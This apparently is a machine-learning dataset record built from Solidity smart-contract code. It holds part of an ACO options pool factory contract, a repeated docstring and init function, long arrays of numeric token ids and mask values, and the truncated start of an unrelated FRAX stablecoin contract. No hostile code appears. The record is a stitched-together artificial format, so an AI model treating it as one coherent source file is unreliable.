require(msg.sender == factoryAdmin, "ACOPoolFactory::onlyFactoryAdmin"); _; } /** * @dev Modifier to check if the `msg.sender` is a pool admin. * Only a pool admin address can execute. */ modifier onlyPoolAdmin() { require(poolAdminPermission[msg.sender], "ACOPoolFactory::onlyPoolAdmin"); _; } /** * @dev Function to initialize the contract. * It should be called through the `data` argument when creating the proxy. * It must be called only once. The first `require` is to guarantee that behavior. * @param _factoryAdmin Address of the factory admin. * @param _acoPoolImplementation Address of the ACO pool implementation. * @param _acoFactory Address of the ACO token factory. * @param _assetConverterHelper Address of the asset converter helper. * @param _chiToken Address of the Chi token. * @param _acoPoolFee ACO pool fee percentage. * @param _acoPoolFeeDestination ACO pool fee destination. * @param _acoPoolWithdrawOpenPositionPenalty ACO pool penalty percentage on withdrawing open positions. * @param _acoPoolUnderlyingPriceAdjustPercentage ACO pool underlying price percentage adjust. * @param _acoPoolMaximumOpenAco ACO pool maximum number of open ACOs allowed. */ function init( address _factoryAdmin, address _acoPoolImplementation, address _acoFactory, address _assetConverterHelper, address _chiToken, uint256 _acoPoolFee, address _acoPoolFeeDestination, uint256 _acoPoolWithdrawOpenPositionPenalty, uint256 _acoPoolUnderlyingPriceAdjustPercentage, uint256 _acoPoolMaximumOpenAco ) public { require(factoryAdmin == address(0) && acoPoolImplementation == address(0), "ACOPoolFactory::init: Contract already initialized."); _setFactoryAdmin(_factoryAdmin); _setAcoPoolImplementation(_acoPoolImplementation); _setAcoFactory(_acoFactory); _setAssetConverterHelper(_assetConverterHelper); _setChiToken(_chiToken); _setAcoPoolFee(_acoPoolFee); _setAcoPoolFeeDestination(_acoPoolFeeDestination); _setAcoPoolWithdrawOpenPositionPenalty(_acoPoolWithdrawOpenPositionPenalty); _setAcoPoolUnderlyingPriceAdjustPercentage(_acoPoolUnderlyingPriceAdjustPercentage); _setAcoPoolMaximumOpenAco(_acoPoolMaximumOpenAco); _setAcoPoolPermission(_factoryAdmin, true); } /** * @dev Function to guarantee that the contract will not receive ether. */ receive() external payable virtual { revert(); } /** * @dev Function to create a new ACO pool. * It deploys a minimal proxy for the ACO pool implementation address. * @param underlying Address of the underlying asset (0x0 for Ethereum). * @param strikeAsset Address of the strike asset (0x0 for Ethereum). * @param isCall True if the type is CALL, false for PUT. * @param tolerancePriceBelow The below tolerance price percentage for ACO tokens. * @param tolerancePriceAbove The above tolerance price percentage for ACO tokens. * @param minExpiration The minimum expiration seconds after the current time for ACO tokens. * @param maxExpiration The maximum expiration seconds after the current time for ACO tokens. * @param strategy Address of the pool strategy to be used. * @param baseVolatility The base volatility for the pool starts. It is a percentage value (100000 is 100%). * @return The created ACO pool address. */ function createAcoPool( address underlying, address strikeAsset, bool isCall, uint256 tolerancePriceBelow, uint256 tolerancePriceAbove, uint256 minExpiration, uint256 maxExpiration, address strategy, uint256 baseVolatility ) onlyFactoryAdmin external virtual returns(address) { _validateStrategy(strategy); return _createAcoPool(IACOPool2.InitData( acoFactory, chiToken, underlying, strikeAsset, isCall, assetConverterHelper, acoPoolFee, acoPoolFeeDestination, acoPoolWithdrawOpenPositionPenalty, acoPoolUnderlyingPriceAdjustPercentage, acoPoolMaximumOpenAco, tolerancePriceBelow, tolerancePriceAbove, minExpiration, maxExpiration, strategy, baseVolatility )); } /** * @dev Function to set the factory admin address. * Only can be called by the factory admin. * @param newFactoryAdmin Address of the new factory admin. */ function setFactoryAdmin(address newFactoryAdmin) onlyFactoryAdmin external virtual { _setFactoryAdmin(newFactoryAdmin); } /** * @dev Function to set the ACO pool implementation address. * Only can be called by the factory admin. * @param newAcoPoolImplementation Address of the new ACO pool implementation. */ function setAcoPoolImplementation(address newAcoPoolImplementation) onlyFactoryAdmin external virtual { _setAcoPoolImplementation(newAcoPoolImplementation); } /** * @dev Function to set the ACO factory address. * Only can be called by the factory admin. * @param newAcoFactory Address of the ACO token factory. */ function setAcoFactory(address newAcoFactory) onlyFactoryAdmin external virtual { _setAcoFactory(newAcoFactory); } /** * @dev Function to set the Chi Token address. * Only can be called by the factory admin. * @param newChiToken Address of the new Chi Token. */ function setChiToken(address newChiToken) onlyFactoryAdmin external virtual { _setChiToken(newChiToken); } /** * @dev Function to set the asset converter helper address. * Only can be called by the factory admin. * @param newAssetConverterHelper Address of the new asset converter helper. */ function setAssetConverterHelper(address newAssetConverterHelper) onlyFactoryAdmin external virtual { _setAssetConverterHelper(newAssetConverterHelper); } /** * @dev Function to set the ACO Pool fee. * Only can be called by the factory admin. * @param newAcoPoolFee Value of the new ACO Pool fee. It is a percentage value (100000 is 100%). */ function setAcoPoolFee(uint256 newAcoPoolFee) onlyFactoryAdmin external virtual { _setAcoPoolFee(newAcoPoolFee); } /** * @dev Function to set the ACO Pool destination address. * Only can be called by the factory admin. * @param newAcoPoolFeeDestination Address of the new ACO Pool destination. */ function setAcoPoolFeeDestination(address newAcoPoolFeeDestination) onlyFactoryAdmin external virtual { _setAcoPoolFeeDestination(newAcoPoolFeeDestination); } /** * @dev Function to set the ACO Pool penalty percentage on withdrawing open positions. * Only can be called by the factory admin. * @param newWithdrawOpenPositionPenalty Value of the new ACO Pool penalty percentage on withdrawing open positions. It is a percentage value (100000 is 100%). */ function setAcoPoolWithdrawOpenPositionPenalty(uint256 newWithdrawOpenPositionPenalty) onlyFactoryAdmin external virtual { _setAcoPoolWithdrawOpenPositionPenalty(newWithdrawOpenPositionPenalty); } /** * @dev Function to set the ACO Pool underlying price percentage adjust. * Only can be called by the factory admin. * @param newUnderlyingPriceAdjustPercentage Value of the new ACO Pool underlying price percentage adjust. It is a percentage value (100000 is 100%). */ function setAcoPoolUnderlyingPriceAdjustPercentage(uint256 newUnderlyingPriceAdjustPercentage) onlyFactoryAdmin external virtual { _setAcoPoolUnderlyingPriceAdjustPercentage(newUnderlyingPriceAdjustPercentage); } /** * @dev Function to set the ACO Pool maximum number of open ACOs allowed. * Only can be called by the factory admin. * @param newMaximumOpenAco Value of the new ACO Pool maximum number of open ACOs allowed. */ function setAcoPoolMaximumOpenAco(uint256 newMaximumOpenAco) onlyFactoryAdmin external virtual { _setAcoPoolMaximumOpenAco(newMaximumOpenAco); } /** * @dev Function to set the ACO pool permission. * Only can be called by the factory admin. * @param poolAdmin Address of the pool admin. * @param newPermission The permission to be set. */ function setAcoPoolPermission(address poolAdmin, bool newPermission) onlyFactoryAdmin external virtual { _setAcoPoolPermission(poolAdmin, newPermission); } /** * @dev Function to set the ACO pool strategies permitted. * Only can be called by the factory admin. * @param strategy Address of the strategy. * @param newPermission The permission to be set. */ function setAcoPoolStrategyPermission(address strategy, bool newPermission) onlyFactoryAdmin external virtual { _setAcoPoolStrategyPermission(strategy, newPermission); } /** * @dev Function to change the ACO pools strategy. * Only can be called by a pool admin. * @param strategy Address of the strategy to be set. * @param acoPools Array of ACO pools addresses. */ function setStrategyOnAcoPool(address strategy, address[] calldata acoPools) onlyPoolAdmin external virtual { _setStrategyOnAcoPool(strategy, acoPools); } /** * @dev Function to change the ACO pools base volatilities. * Only can be called by a pool admin. * @param baseVolatilities Array of the base volatilities to be set. * @param acoPools Array of ACO pools addresses. */ function setBaseVolatilityOnAcoPool(uint256[] calldata baseVolatilities, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setBaseVolatility.selector, baseVolatilities, acoPools); } /** * @dev Function to change the ACO pools penalties percentages on withdrawing open positions. * Only can be called by a pool admin. * @param withdrawOpenPositionPenalties Array of the penalties percentages on withdrawing open positions to be set. * @param acoPools Array of ACO pools addresses. */ function setWithdrawOpenPositionPenaltyOnAcoPool(uint256[] calldata withdrawOpenPositionPenalties, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setWithdrawOpenPositionPenalty.selector, withdrawOpenPositionPenalties, acoPools); } /** * @dev Function to change the ACO pools underlying prices percentages adjust. * Only can be called by a pool admin. * @param underlyingPriceAdjustPercentages Array of the underlying prices percentages to be set. * @param acoPools Array of ACO pools addresses. */ function setUnderlyingPriceAdjustPercentageOnAcoPool(uint256[] calldata underlyingPriceAdjustPercentages, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setUnderlyingPriceAdjustPercentage.selector, underlyingPriceAdjustPercentages, acoPools); } /** * @dev Function to change the ACO pools maximum number of open ACOs allowed. * Only can be called by a pool admin. * @param maximumOpenAcos Array of the maximum number of open ACOs allowed. * @param acoPools Array of ACO pools addresses. */ function setMaximumOpenAcoOnAcoPool(uint256[] calldata maximumOpenAcos, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setMaximumOpenAco.selector, maximumOpenAcos, acoPools); } /** * @dev Function to change the ACO pools below tolerance prices percentages. * Only can be called by a pool admin. * @param tolerancePricesBelow Array of the below tolerance prices percentages to be set. * @param acoPools Array of ACO pools addresses. */ function setTolerancePriceBelowOnAcoPool(uint256[] calldata tolerancePricesBelow, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setTolerancePriceBelow.selector, tolerancePricesBelow, acoPools); } /** * @dev Function to change the ACO pools above tolerance prices percentages. * Only can be called by a pool admin. * @param tolerancePricesAbove Array of the above tolerance prices percentages to be set. * @param acoPools Array of ACO pools addresses. */ function setTolerancePriceAboveOnAcoPool(uint256[] calldata tolerancePricesAbove, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setTolerancePriceAbove.selector, tolerancePricesAbove, acoPools); } /** * @dev Function to change the ACO pools minimum expirations. * Only can be called by a pool admin. * @param minExpirations Array of the minimum expirations. * @param acoPools Array of ACO pools addresses. */ function setMinExpirationOnAcoPool(uint256[] calldata minExpirations, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setMinExpiration.selector, minExpirations, acoPools); } /** * @dev Function to change the ACO pools maximum expirations. * Only can be called by a pool admin. * @param maxExpirations Array of the maximum expirations to be set. * @param acoPools Array of ACO pools addresses. */ function setMaxExpirationOnAcoPool(uint256[] calldata maxExpirations, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setMaxExpiration.selector, maxExpirations, acoPools); } /** * @dev Function to change the ACO pools fee. * Only can be called by a pool admin. * @param fees Array of the fees. * @param acoPools Array of ACO pools addresses. */ function setFeeOnAcoPool(uint256[] calldata fees, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolUint256Data(IACOPool2.setFee.selector, fees, acoPools); } /** * @dev Function to change the ACO pools fee destinations. * Only can be called by a pool admin. * @param feeDestinations Array of the fee destinations. * @param acoPools Array of ACO pools addresses. */ function setFeeDestinationOnAcoPool(address[] calldata feeDestinations, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolAddressData(IACOPool2.setFeeDestination.selector, feeDestinations, acoPools); } /** * @dev Function to change the ACO pools asset converters. * Only can be called by a pool admin. * @param assetConverters Array of the asset converters. * @param acoPools Array of ACO pools addresses. */ function setAssetConverterOnAcoPool(address[] calldata assetConverters, address[] calldata acoPools) onlyPoolAdmin external virtual { _setAcoPoolAddressData(IACOPool2.setAssetConverter.selector, assetConverters, acoPools); } /** * @dev Function to change the ACO pools ACO creator permission. * Only can be called by a pool admin. * @param acoCreator Address of the ACO creator. * @param permission Permission situation. * @param acoPools Array of ACO pools addresses. */ function setValidAcoCreatorOnAcoPool(address acoCreator, bool permission, address[] calldata acoPools) onlyPoolAdmin external virtual { _setValidAcoCreatorOnAcoPool(acoCreator, permission, acoPools); } /** * @dev Function to withdraw the ACO pools stucked asset. * @param asset Address of the asset. * @param destination Address of the destination. * @param acoPools Array of ACO pools addresses. */ function withdrawStuckAssetOnAcoPool(address asset, address destination, address[] calldata acoPools) onlyPoolAdmin external virtual { _withdrawStuckAssetOnAcoPool(asset, destination, acoPools); } /** * @dev Internal function to set the factory admin address. * @param newFactoryAdmin Address of the new factory admin. */ function _setFactoryAdmin(address newFactoryAdmin) internal virtual { require(newFactoryAdmin != address(0), "ACOPoolFactory::_setFactoryAdmin: Invalid factory admin"); emit SetFactoryAdmin(factoryAdmin, newFactoryAdmin); factoryAdmin = newFactoryAdmin; } /** * @dev Internal function to set the ACO pool implementation address. * @param newAcoPoolImplementation Address of the new ACO pool implementation. */ function _setAcoPoolImplementation(address newAcoPoolImplementation) internal virtual { require(Address.isContract(newAcoPoolImplementation), "ACOPoolFactory::_setAcoPoolImplementation: Invalid ACO pool implementation"); emit SetAcoPoolImplementation(acoPoolImplementation, newAcoPoolImplementation); acoPoolImplementation = newAcoPoolImplementation; } /** * @dev Internal function to set the ACO factory address. * @param newAcoFactory Address of the new ACO token factory. */ function _setAcoFactory(address newAcoFactory) internal virtual { require(Address.isContract(newAcoFactory), "ACOPoolFactory::_setAcoFactory: Invalid ACO factory"); emit SetAcoFactory(acoFactory, newAcoFactory); acoFactory = newAcoFactory; } /** * @dev Internal function to set the asset converter helper address. * @param newAssetConverterHelper Address of the new asset converter helper. */ function _setAssetConverterHelper(address newAssetConverterHelper) internal virtual { require(Address.isContract(newAssetConverterHelper), "ACOPoolFactory::_setAssetConverterHelper: Invalid asset converter helper"); emit SetAssetConverterHelper(assetConverterHelper, newAssetConverterHelper); assetConverterHelper = newAssetConverterHelper; } /** * @dev Internal function to set the Chi Token address. * @param newChiToken Address of the new Chi Token. */ function _setChiToken(address newChiToken) internal virtual { require(Address.isContract(newChiToken), "ACOPoolFactory::_setChiToken: Invalid Chi Token"); emit SetChiToken(chiToken, newChiToken); chiToken = newChiToken; } /** * @dev Internal function to set the ACO Pool fee. * @param newAcoPoolFee Value of the new ACO Pool fee. It is a percentage value (100000 is 100%). */ function _setAcoPoolFee(uint256 newAcoPoolFee) internal virtual { emit SetAcoPoolFee(acoPoolFee, newAcoPoolFee); acoPoolFee = newAcoPoolFee; } /** * @dev Internal function to set the ACO Pool destination address. * @param newAcoPoolFeeDestination Address of the new ACO Pool destination. */ function _setAcoPoolFeeDestination(address newAcoPoolFeeDestination) internal virtual { require(newAcoPoolFeeDestination != address(0), "ACOFactory::_setAcoPoolFeeDestination: Invalid ACO Pool fee destination"); emit SetAcoPoolFeeDestination(acoPoolFeeDestination, newAcoPoolFeeDestination); acoPoolFeeDestination = newAcoPoolFeeDestination; } /** * @dev Internal function to set the ACO Pool penalty percentage on withdrawing open positions. * @param newWithdrawOpenPositionPenalty Value of the new ACO Pool penalty percentage on withdrawing open positions. It is a percentage value (100000 is 100%). */ function _setAcoPoolWithdrawOpenPositionPenalty(uint256 newWithdrawOpenPositionPenalty) internal virtual { emit SetAcoPoolWithdrawOpenPositionPenalty(acoPoolWithdrawOpenPositionPenalty, newWithdrawOpenPositionPenalty); acoPoolWithdrawOpenPositionPenalty = newWithdrawOpenPositionPenalty; } /** * @dev Internal function to set the ACO Pool underlying price percentage adjust. * @param newUnderlyingPriceAdjustPercentage Value of the new ACO Pool underlying price percentage adjust. It is a percentage value (100000 is 100%). */ function _setAcoPoolUnderlyingPriceAdjustPercentage(uint256 newUnderlyingPriceAdjustPercentage) internal virtual { emit SetAcoPoolUnderlyingPriceAdjustPercentage(acoPoolUnderlyingPriceAdjustPercentage, newUnderlyingPriceAdjustPercentage); acoPoolUnderlyingPriceAdjustPercentage = newUnderlyingPriceAdjustPercentage; } /** * @dev Internal function to set the ACO Pool maximum number of open ACOs allowed. * @param newMaximumOpenAco Value of the new ACO Pool maximum number of open ACOs allowed. */ function _setAcoPoolMaximumOpenAco(uint256 newMaximumOpenAco) internal virtual { emit SetAcoPoolMaximumOpenAco(acoPoolMaximumOpenAco, newMaximumOpenAco); acoPoolMaximumOpenAco = newMaximumOpenAco; } /** * @dev Internal function to set the ACO pool permission. * @param poolAdmin Address of the pool admin. * @param newPermission The permission to be set. */ function _setAcoPoolPermission(address poolAdmin, bool newPermission) internal virtual { emit SetAcoPoolPermission(poolAdmin, poolAdminPermission[poolAdmin], newPermission); poolAdminPermission[poolAdmin] = newPermission; } /** * @dev Internal function to set the ACO pool strategies permitted. * @param strategy Address of the strategy. * @param newPermission The permission to be set. */ function _setAcoPoolStrategyPermission(address strategy, bool newPermission) internal virtual { require(Address.isContract(strategy), "ACOPoolFactory::_setAcoPoolStrategy: Invalid strategy"); emit SetStrategyPermission(strategy, strategyPermitted[strategy], newPermission); strategyPermitted[strategy] = newPermission; } /** * @dev Internal function to validate strategy. * @param strategy Address of the strategy. */ function _validateStrategy(address strategy) view internal virtual { require(strategyPermitted[strategy], "ACOPoolFactory::_validateStrategy: Invalid strategy"); } /** * @dev Internal function to change the ACO pools strategy. * @param strategy Address of the strategy to be set. * @param acoPools Array of ACO pools addresses. */ function _setStrategyOnAcoPool(address strategy, address[] memory acoPools) internal virtual { _validateStrategy(strategy); for (uint256 i = 0; i < acoPools.length; ++i) { IACOPool2(acoPools[i]).setStrategy(strategy); } } /** * @dev Internal function to change the ACO pools ACO creator permission. * @param acoCreator Address of the ACO creator. * @param permission Permission situation. * @param acoPools Array of ACO pools addresses. */ function _setValidAcoCreatorOnAcoPool(address acoCreator, bool permission, address[] memory acoPools) internal virtual { for (uint256 i = 0; i < acoPools.length; ++i) { IACOPool2(acoPools[i]).setValidAcoCreator(acoCreator, permission); } } /** * @dev Internal function to withdraw the ACO pools stucked asset. * @param asset Address of the asset. * @param destination Address of the destination. * @param acoPools Array of ACO pools addresses. */ function _withdrawStuckAssetOnAcoPool(address asset, address destination, address[] memory acoPools) internal virtual { for (uint256 i = 0; i < acoPools.length; ++i) { IACOPool2(acoPools[i]).withdrawStuckToken(asset, destination); } } /** * @dev Internal function to change the ACO pools an uint256 data. * @param selector Function selector to be called on the ACO pool. * @param numbers Array of the numbers to be set. * @param acoPools Array of ACO pools addresses. */ function _setAcoPoolUint256Data(bytes4 selector, uint256[] memory numbers, address[] memory acoPools) internal virtual { require(numbers.length == acoPools.length, "ACOPoolFactory::_setAcoPoolUint256Data: Invalid arguments"); for (uint256 i = 0; i < acoPools.length; ++i) { (bool success,) = acoPools[i].call(abi.encodeWithSelector(selector, numbers[i])); require(success, "ACOPoolFactory::_setAcoPoolUint256Data"); } } /** * @dev Internal function to change the ACO pools an address data. * @param selector Function selector to be called on the ACO pool. * @param addresses Array of the addresses to be set. * @param acoPools Array of ACO pools addresses. */ function _setAcoPoolAddressData(bytes4 selector, address[] memory addresses, address[] memory acoPools) internal virtual { require(addresses.length == acoPools.length, "ACOPoolFactory::_setAcoPoolAddressData: Invalid arguments"); for (uint256 i = 0; i < acoPools.length; ++i) { (bool success,) = acoPools[i].call(abi.encodeWithSelector(selector, addresses[i])); require(success, "ACOPoolFactory::_setAcoPoolAddressData"); } } /** * @dev Internal function to create a new ACO pool. * @param initData Data to initialize o ACO Pool. * @return Address of the new minimal proxy deployed for the ACO pool. */ function _createAcoPool(IACOPool2.InitData memory initData) internal virtual returns(address) { address acoPool = _deployAcoPool(initData); acoPoolBasicData[acoPool] = ACOPoolBasicData(initData.underlying, initData.strikeAsset, initData.isCall); emit NewAcoPool( initData.underlying, initData.strikeAsset, initData.isCall, acoPool, acoPoolImplementation ); return acoPool; } /** * @dev Internal function to deploy a minimal proxy using ACO pool implementation. * @param initData Data to initialize o ACO Pool. * @return Address of the new minimal proxy deployed for the ACO pool. */ function _deployAcoPool(IACOPool2.InitData memory initData) internal virtual returns(address) { bytes20 implentationBytes = bytes20(acoPoolImplementation); address proxy; assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), implentationBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) proxy := create(0, clone, 0x37) } IACOPool2(proxy).init(initData); return proxy; } }
* @dev Function to initialize the contract. It should be called through the `data` argument when creating the proxy. It must be called only once. The first `require` is to guarantee that behavior. @param _factoryAdmin Address of the factory admin. @param _acoPoolImplementation Address of the ACO pool implementation. @param _acoFactory Address of the ACO token factory. @param _assetConverterHelper Address of the asset converter helper. @param _chiToken Address of the Chi token. @param _acoPoolFee ACO pool fee percentage. @param _acoPoolFeeDestination ACO pool fee destination. @param _acoPoolWithdrawOpenPositionPenalty ACO pool penalty percentage on withdrawing open positions. @param _acoPoolUnderlyingPriceAdjustPercentage ACO pool underlying price percentage adjust. @param _acoPoolMaximumOpenAco ACO pool maximum number of open ACOs allowed./
function init( address _factoryAdmin, address _acoPoolImplementation, address _acoFactory, address _assetConverterHelper, address _chiToken, uint256 _acoPoolFee, address _acoPoolFeeDestination, uint256 _acoPoolWithdrawOpenPositionPenalty, uint256 _acoPoolUnderlyingPriceAdjustPercentage, uint256 _acoPoolMaximumOpenAco ) public { require(factoryAdmin == address(0) && acoPoolImplementation == address(0), "ACOPoolFactory::init: Contract already initialized."); _setFactoryAdmin(_factoryAdmin); _setAcoPoolImplementation(_acoPoolImplementation); _setAcoFactory(_acoFactory); _setAssetConverterHelper(_assetConverterHelper); _setChiToken(_chiToken); _setAcoPoolFee(_acoPoolFee); _setAcoPoolFeeDestination(_acoPoolFeeDestination); _setAcoPoolWithdrawOpenPositionPenalty(_acoPoolWithdrawOpenPositionPenalty); _setAcoPoolUnderlyingPriceAdjustPercentage(_acoPoolUnderlyingPriceAdjustPercentage); _setAcoPoolMaximumOpenAco(_acoPoolMaximumOpenAco); _setAcoPoolPermission(_factoryAdmin, true); }
128,856
[ 1, 2083, 358, 4046, 326, 6835, 18, 2597, 1410, 506, 2566, 3059, 326, 1375, 892, 68, 1237, 1347, 4979, 326, 2889, 18, 2597, 1297, 506, 2566, 1338, 3647, 18, 1021, 1122, 1375, 6528, 68, 353, 358, 18779, 716, 6885, 18, 225, 389, 6848, 4446, 5267, 434, 326, 3272, 3981, 18, 225, 389, 24363, 2864, 13621, 5267, 434, 326, 432, 3865, 2845, 4471, 18, 225, 389, 24363, 1733, 5267, 434, 326, 432, 3865, 1147, 3272, 18, 225, 389, 9406, 5072, 2276, 5267, 434, 326, 3310, 6027, 4222, 18, 225, 389, 24010, 1345, 5267, 434, 326, 1680, 77, 1147, 18, 225, 389, 24363, 2864, 14667, 432, 3865, 2845, 14036, 11622, 18, 225, 389, 24363, 2864, 14667, 5683, 432, 3865, 2845, 14036, 2929, 18, 225, 389, 24363, 2864, 1190, 9446, 3678, 2555, 24251, 15006, 432, 3865, 2845, 23862, 11622, 603, 598, 9446, 310, 1696, 6865, 18, 225, 389, 24363, 2864, 14655, 6291, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 1208, 12, 203, 3639, 1758, 389, 6848, 4446, 16, 7010, 3639, 1758, 389, 24363, 2864, 13621, 16, 7010, 3639, 1758, 389, 24363, 1733, 16, 7010, 3639, 1758, 389, 9406, 5072, 2276, 16, 203, 3639, 1758, 389, 24010, 1345, 16, 203, 3639, 2254, 5034, 389, 24363, 2864, 14667, 16, 203, 3639, 1758, 389, 24363, 2864, 14667, 5683, 16, 203, 202, 202, 11890, 5034, 389, 24363, 2864, 1190, 9446, 3678, 2555, 24251, 15006, 16, 203, 202, 202, 11890, 5034, 389, 24363, 2864, 14655, 6291, 5147, 10952, 16397, 16, 203, 3639, 2254, 5034, 389, 24363, 2864, 13528, 3678, 37, 2894, 203, 565, 262, 1071, 288, 203, 3639, 2583, 12, 6848, 4446, 422, 1758, 12, 20, 13, 597, 1721, 83, 2864, 13621, 422, 1758, 12, 20, 3631, 315, 2226, 51, 2864, 1733, 2866, 2738, 30, 13456, 1818, 6454, 1199, 1769, 203, 540, 203, 3639, 389, 542, 1733, 4446, 24899, 6848, 4446, 1769, 203, 3639, 389, 542, 37, 2894, 2864, 13621, 24899, 24363, 2864, 13621, 1769, 203, 3639, 389, 542, 37, 2894, 1733, 24899, 24363, 1733, 1769, 203, 3639, 389, 542, 6672, 5072, 2276, 24899, 9406, 5072, 2276, 1769, 203, 3639, 389, 542, 782, 77, 1345, 24899, 24010, 1345, 1769, 203, 3639, 389, 542, 37, 2894, 2864, 14667, 24899, 24363, 2864, 14667, 1769, 203, 3639, 389, 542, 37, 2894, 2864, 14667, 5683, 24899, 24363, 2864, 14667, 5683, 1769, 203, 202, 202, 67, 542, 37, 2894, 2864, 1190, 9446, 3678, 2555, 24251, 15006, 24899, 24363, 2864, 1190, 9446, 3678, 2555, 24251, 15006, 1769, 203, 202, 202, 67, 542, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0 <0.7.0; pragma experimental ABIEncoderV2; import "../Common/Context.sol"; import "../ERC20/IERC20.sol"; import "../ERC20/ERC20Custom.sol"; import "../ERC20/ERC20.sol"; import "../Math/SafeMath.sol"; import "../FXS/FXS.sol"; import "./Pools/FraxPool.sol"; import "../Oracle/UniswapPairOracle.sol"; import "../Oracle/ChainlinkETHUSDPriceConsumer.sol"; import "../Governance/AccessControl.sol"; contract FRAXStablecoin is ERC20Custom, AccessControl { using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ enum PriceChoice { FRAX, FXS } PriceChoice price_choices; ChainlinkETHUSDPriceConsumer eth_usd_pricer; uint8 eth_usd_pricer_decimals; UniswapPairOracle fraxEthOracle; UniswapPairOracle fxsEthOracle; string public symbol; uint8 public decimals = 18; address[] public owners; address governance_address; address public creator_address; address public timelock_address; address public fxs_address; address public frax_eth_oracle_address; address public fxs_eth_oracle_address; address public weth_address; address public eth_usd_consumer_address; uint256 public genesis_supply = 1000000e18; // 1M. This is to help with establishing the Uniswap pools, as they need liquidity mapping(PriceChoice => address[]) private stablecoin_oracles; // // The addresses in this array are added by the oracle and these contracts are able to mint frax address[] frax_pools_array; // Mapping is also used for faster verification mapping(address => bool) public frax_pools; uint256 public global_collateral_ratio; // 6 decimals of precision, e.g. 924102 = 0.924102 uint256 public redemption_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee uint256 public minting_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee address public DEFAULT_ADMIN_ADDRESS; bytes32 public constant COLLATERAL_RATIO_PAUSER = keccak256("COLLATERAL_RATIO_PAUSER"); bool public collateral_ratio_paused = false; /* ========== MODIFIERS ========== */ modifier onlyCollateralRatioPauser() { require(hasRole(COLLATERAL_RATIO_PAUSER, msg.sender)); _; } modifier onlyPools() { require(frax_pools[msg.sender] == true, "Only frax pools can mint new FRAX"); _; } modifier onlyByGovernance() { require(msg.sender == governance_address, "You're not the governance contract :p"); _; } modifier onlyByOwnerOrGovernance() { // Loop through the owners until one is found bool found = false; for (uint i = 0; i < owners.length; i++){ if (owners[i] == msg.sender) { found = true; break; } } require(found, "You're not an owner"); _; } /* ========== CONSTRUCTOR ========== */ constructor( string memory _symbol, address _creator_address, address _timelock_address ) public { symbol = _symbol; creator_address = _creator_address; timelock_address = _timelock_address; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); DEFAULT_ADMIN_ADDRESS = _msgSender(); owners.push(creator_address); owners.push(timelock_address); _mint(creator_address, genesis_supply); grantRole(COLLATERAL_RATIO_PAUSER, creator_address); grantRole(COLLATERAL_RATIO_PAUSER, timelock_address); } /* ========== VIEWS ========== */ // Choice = 'FRAX' or 'FXS' for now function oracle_price(PriceChoice choice) internal view returns (uint256) { // Get the ETH / USD price first, and cut it down to 1e6 precision uint256 eth_usd_price = uint256(eth_usd_pricer.getLatestPrice()).mul(1e6).div(uint256(10) ** eth_usd_pricer_decimals); uint256 price_vs_eth; if (choice == PriceChoice.FRAX) { price_vs_eth = uint256(fraxEthOracle.consult(weth_address, 1e6)); } else if (choice == PriceChoice.FXS) { price_vs_eth = uint256(fxsEthOracle.consult(weth_address, 1e6)); } else revert("INVALID PRICE CHOICE. Needs to be either 0 (FRAX) or 1 (FXS)"); // Will be in 1e6 format return price_vs_eth.mul(1e6).div(eth_usd_price); } // Returns X FRAX = 1 USD function frax_price() public view returns (uint256) { return oracle_price(PriceChoice.FRAX); } // Returns X FXS = 1 USD function fxs_price() public view returns (uint256) { return oracle_price(PriceChoice.FXS); } // This is needed to avoid costly repeat calls to different getter functions // It is cheaper gas-wise to just dump everything and only use some of the info function frax_info() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { return ( oracle_price(PriceChoice.FRAX), // frax_price() oracle_price(PriceChoice.FXS), // fxs_price() totalSupply(), // totalSupply() global_collateral_ratio, // global_collateral_ratio() globalCollateralValue(), // globalCollateralValue minting_fee, // minting_fee() redemption_fee // redemption_fee() ); } // Iterate through all frax pools and calculate all value of collateral in all pools globally function globalCollateralValue() public view returns (uint256) { uint256 total_collateral_value_d18 = 0; for (uint i = 0; i < frax_pools_array.length; i++){ // Exclude null addresses if (frax_pools_array[i] != address(0)){ total_collateral_value_d18 += FraxPool(frax_pools_array[i]).collatDollarBalance(); } } return total_collateral_value_d18; } /* ========== PUBLIC FUNCTIONS ========== */ // There needs to be a time interval that this can be called. Otherwise it can be called multiple times per expansion. uint256 last_call_time; // Last time 